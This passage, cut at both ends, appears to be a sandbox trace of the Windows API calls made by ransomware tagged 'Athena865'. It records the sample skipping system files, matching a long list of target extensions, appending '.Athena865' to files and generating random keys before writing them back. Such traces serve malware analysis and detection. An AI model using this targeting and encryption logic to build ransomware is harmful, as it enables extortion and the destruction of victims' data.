lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.028] lstrlenW (lpString="qvd") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.028] lstrlenW (lpString="rbf") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.029] lstrlenW (lpString="rctd") returned 4 [0052.029] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.029] lstrlenW (lpString="rod") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.029] lstrlenW (lpString="rodx") returned 4 [0052.029] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.029] lstrlenW (lpString="rpd") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.029] lstrlenW (lpString="rsd") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.029] lstrlenW (lpString="sas7bdat") returned 8 [0052.029] lstrcmpiW (lpString1="0FNZ.lnk", lpString2="sas7bdat") returned -1 [0052.029] lstrlenW (lpString="sbf") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.029] lstrlenW (lpString="scx") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.029] lstrlenW (lpString="sdb") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.029] lstrlenW (lpString="sdc") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.029] lstrlenW (lpString="sdf") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.029] lstrlenW (lpString="sis") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.029] lstrlenW (lpString="spq") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.029] lstrlenW (lpString="te") returned 2 [0052.029] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.029] lstrlenW (lpString="teacher") returned 7 [0052.029] lstrcmpiW (lpString1="FNZ.lnk", lpString2="teacher") returned -1 [0052.029] lstrlenW (lpString="tmd") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.029] lstrlenW (lpString="tps") returned 3 [0052.029] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.030] lstrlenW (lpString="trc") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.030] lstrlenW (lpString="trc") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.030] lstrlenW (lpString="trm") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.030] lstrlenW (lpString="udb") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.030] lstrlenW (lpString="udl") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.030] lstrlenW (lpString="usr") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.030] lstrlenW (lpString="v12") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.030] lstrlenW (lpString="vis") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.030] lstrlenW (lpString="vpd") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.030] lstrlenW (lpString="vvv") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.030] lstrlenW (lpString="wdb") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.030] lstrlenW (lpString="wmdb") returned 4 [0052.030] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.030] lstrlenW (lpString="wrk") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.030] lstrlenW (lpString="xdb") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.030] lstrlenW (lpString="xld") returned 3 [0052.030] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.030] lstrlenW (lpString="xmlff") returned 5 [0052.030] lstrcmpiW (lpString1="Z.lnk", lpString2="xmlff") returned 1 [0052.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0xIvyuGU7FVwbG0FNZ.lnk.Athena865") returned 86 [0052.031] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0xIvyuGU7FVwbG0FNZ.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0xivyugu7fvwbg0fnz.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0xIvyuGU7FVwbG0FNZ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0xivyugu7fvwbg0fnz.lnk.athena865"), dwFlags=0x1) returned 1 [0052.032] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0xIvyuGU7FVwbG0FNZ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0xivyugu7fvwbg0fnz.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5164) returned 1 [0052.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.033] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.033] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.033] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1730, lpName=0x0) returned 0x154 [0052.033] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1730) returned 0x100000 [0052.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.034] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.034] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.034] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.035] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.035] CloseHandle (hObject=0x154) returned 1 [0052.035] CloseHandle (hObject=0x17c) returned 1 [0052.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.036] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae1e2b00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xae1e2b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xae1e2b00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="126u33D16r7P2LIlBaI.lnk", cAlternateFileName="126U33~1.LNK")) returned 1 [0052.036] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2=".") returned 1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="..") returned 1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="windows") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="bootmgr") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="temp") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="pagefile.sys") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="boot") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="ids.txt") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="ntuser.dat") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="perflogs") returned -1 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2="MSBuild") returned -1 [0052.037] lstrlenW (lpString="126u33D16r7P2LIlBaI.lnk") returned 23 [0052.037] lstrcpyW (in: lpString1=0x241e8b4, lpString2="126u33D16r7P2LIlBaI.lnk" | out: lpString1="126u33D16r7P2LIlBaI.lnk") returned="126u33D16r7P2LIlBaI.lnk" [0052.037] lstrlenW (lpString="126u33D16r7P2LIlBaI.lnk") returned 23 [0052.037] lstrlenW (lpString="Athena865") returned 9 [0052.037] lstrcmpiW (lpString1="IlBaI.lnk", lpString2="Athena865") returned 1 [0052.037] lstrlenW (lpString=".dll") returned 4 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2=".dll") returned 1 [0052.037] lstrlenW (lpString=".lnk") returned 4 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2=".lnk") returned 1 [0052.037] lstrlenW (lpString=".ini") returned 4 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2=".ini") returned 1 [0052.037] lstrlenW (lpString=".sys") returned 4 [0052.037] lstrcmpiW (lpString1="126u33D16r7P2LIlBaI.lnk", lpString2=".sys") returned 1 [0052.037] lstrlenW (lpString="126u33D16r7P2LIlBaI.lnk") returned 23 [0052.037] lstrlenW (lpString="bak") returned 3 [0052.037] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.037] lstrlenW (lpString="ba_") returned 3 [0052.037] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.037] lstrlenW (lpString="dbb") returned 3 [0052.037] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.037] lstrlenW (lpString="vmdk") returned 4 [0052.038] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.038] lstrlenW (lpString="rar") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.038] lstrlenW (lpString="zip") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.038] lstrlenW (lpString="tgz") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.038] lstrlenW (lpString="vbox") returned 4 [0052.038] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.038] lstrlenW (lpString="vdi") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.038] lstrlenW (lpString="vhd") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.038] lstrlenW (lpString="vhdx") returned 4 [0052.038] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.038] lstrlenW (lpString="avhd") returned 4 [0052.038] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.038] lstrlenW (lpString="db") returned 2 [0052.038] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.038] lstrlenW (lpString="db2") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.038] lstrlenW (lpString="db3") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.038] lstrlenW (lpString="dbf") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.038] lstrlenW (lpString="mdf") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.038] lstrlenW (lpString="mdb") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.038] lstrlenW (lpString="sql") returned 3 [0052.038] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.038] lstrlenW (lpString="sqlite") returned 6 [0052.038] lstrcmpiW (lpString1="aI.lnk", lpString2="sqlite") returned -1 [0052.039] lstrlenW (lpString="sqlite3") returned 7 [0052.039] lstrcmpiW (lpString1="BaI.lnk", lpString2="sqlite3") returned -1 [0052.039] lstrlenW (lpString="sqlitedb") returned 8 [0052.039] lstrcmpiW (lpString1="lBaI.lnk", lpString2="sqlitedb") returned -1 [0052.039] lstrlenW (lpString="xml") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.039] lstrlenW (lpString="$er") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.039] lstrlenW (lpString="4dd") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.039] lstrlenW (lpString="4dl") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.039] lstrlenW (lpString="^^^") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.039] lstrlenW (lpString="abs") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.039] lstrlenW (lpString="abx") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.039] lstrlenW (lpString="accdb") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accdb") returned 1 [0052.039] lstrlenW (lpString="accdc") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accdc") returned 1 [0052.039] lstrlenW (lpString="accde") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accde") returned 1 [0052.039] lstrlenW (lpString="accdr") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accdr") returned 1 [0052.039] lstrlenW (lpString="accdt") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accdt") returned 1 [0052.039] lstrlenW (lpString="accdw") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accdw") returned 1 [0052.039] lstrlenW (lpString="accft") returned 5 [0052.039] lstrcmpiW (lpString1="I.lnk", lpString2="accft") returned 1 [0052.039] lstrlenW (lpString="adb") returned 3 [0052.039] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.040] lstrlenW (lpString="adb") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.040] lstrlenW (lpString="ade") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.040] lstrlenW (lpString="adf") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.040] lstrlenW (lpString="adn") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.040] lstrlenW (lpString="adp") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.040] lstrlenW (lpString="alf") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.040] lstrlenW (lpString="ask") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.040] lstrlenW (lpString="btr") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.040] lstrlenW (lpString="cat") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.040] lstrlenW (lpString="cdb") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.040] lstrlenW (lpString="ckp") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.040] lstrlenW (lpString="cma") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.040] lstrlenW (lpString="cpd") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.040] lstrlenW (lpString="dacpac") returned 6 [0052.040] lstrcmpiW (lpString1="aI.lnk", lpString2="dacpac") returned -1 [0052.040] lstrlenW (lpString="dad") returned 3 [0052.040] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.040] lstrlenW (lpString="dadiagrams") returned 10 [0052.040] lstrcmpiW (lpString1="LIlBaI.lnk", lpString2="dadiagrams") returned 1 [0052.040] lstrlenW (lpString="daschema") returned 8 [0052.040] lstrcmpiW (lpString1="lBaI.lnk", lpString2="daschema") returned 1 [0052.040] lstrlenW (lpString="db-journal") returned 10 [0052.041] lstrcmpiW (lpString1="LIlBaI.lnk", lpString2="db-journal") returned 1 [0052.041] lstrlenW (lpString="db-shm") returned 6 [0052.041] lstrcmpiW (lpString1="aI.lnk", lpString2="db-shm") returned -1 [0052.041] lstrlenW (lpString="db-wal") returned 6 [0052.041] lstrcmpiW (lpString1="aI.lnk", lpString2="db-wal") returned -1 [0052.041] lstrlenW (lpString="dbc") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.041] lstrlenW (lpString="dbs") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.041] lstrlenW (lpString="dbt") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.041] lstrlenW (lpString="dbv") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.041] lstrlenW (lpString="dbx") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.041] lstrlenW (lpString="dcb") returned 3 [0052.041] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.041] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\126u33D16r7P2LIlBaI.lnk.Athena865") returned 87 [0052.041] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\126u33D16r7P2LIlBaI.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\126u33d16r7p2lilbai.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\126u33D16r7P2LIlBaI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\126u33d16r7p2lilbai.lnk.athena865"), dwFlags=0x1) returned 1 [0052.042] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\126u33D16r7P2LIlBaI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\126u33d16r7p2lilbai.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.042] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=714) returned 1 [0052.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.043] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.043] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.043] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.044] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d0, lpName=0x0) returned 0x154 [0052.044] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d0) returned 0x100000 [0052.044] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.045] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.045] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.045] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.045] CloseHandle (hObject=0x154) returned 1 [0052.046] CloseHandle (hObject=0x17c) returned 1 [0052.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.047] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0760580, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0760580, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0760580, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16kFnlYu4.lnk", cAlternateFileName="16KFNL~1.LNK")) returned 1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2=".") returned 1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="..") returned 1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="windows") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="bootmgr") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="temp") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="pagefile.sys") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="boot") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="ids.txt") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="ntuser.dat") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="perflogs") returned -1 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2="MSBuild") returned -1 [0052.047] lstrlenW (lpString="16kFnlYu4.lnk") returned 13 [0052.047] lstrcpyW (in: lpString1=0x241e8b4, lpString2="16kFnlYu4.lnk" | out: lpString1="16kFnlYu4.lnk") returned="16kFnlYu4.lnk" [0052.047] lstrlenW (lpString="16kFnlYu4.lnk") returned 13 [0052.047] lstrlenW (lpString="Athena865") returned 9 [0052.047] lstrcmpiW (lpString1="nlYu4.lnk", lpString2="Athena865") returned 1 [0052.047] lstrlenW (lpString=".dll") returned 4 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2=".dll") returned 1 [0052.047] lstrlenW (lpString=".lnk") returned 4 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2=".lnk") returned 1 [0052.047] lstrlenW (lpString=".ini") returned 4 [0052.047] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2=".ini") returned 1 [0052.048] lstrlenW (lpString=".sys") returned 4 [0052.048] lstrcmpiW (lpString1="16kFnlYu4.lnk", lpString2=".sys") returned 1 [0052.048] lstrlenW (lpString="16kFnlYu4.lnk") returned 13 [0052.048] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\16kFnlYu4.lnk.Athena865") returned 77 [0052.048] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\16kFnlYu4.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\16kfnlyu4.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\16kFnlYu4.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\16kfnlyu4.lnk.athena865"), dwFlags=0x1) returned 1 [0052.049] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\16kFnlYu4.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\16kfnlyu4.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.049] GetFileSizeEx 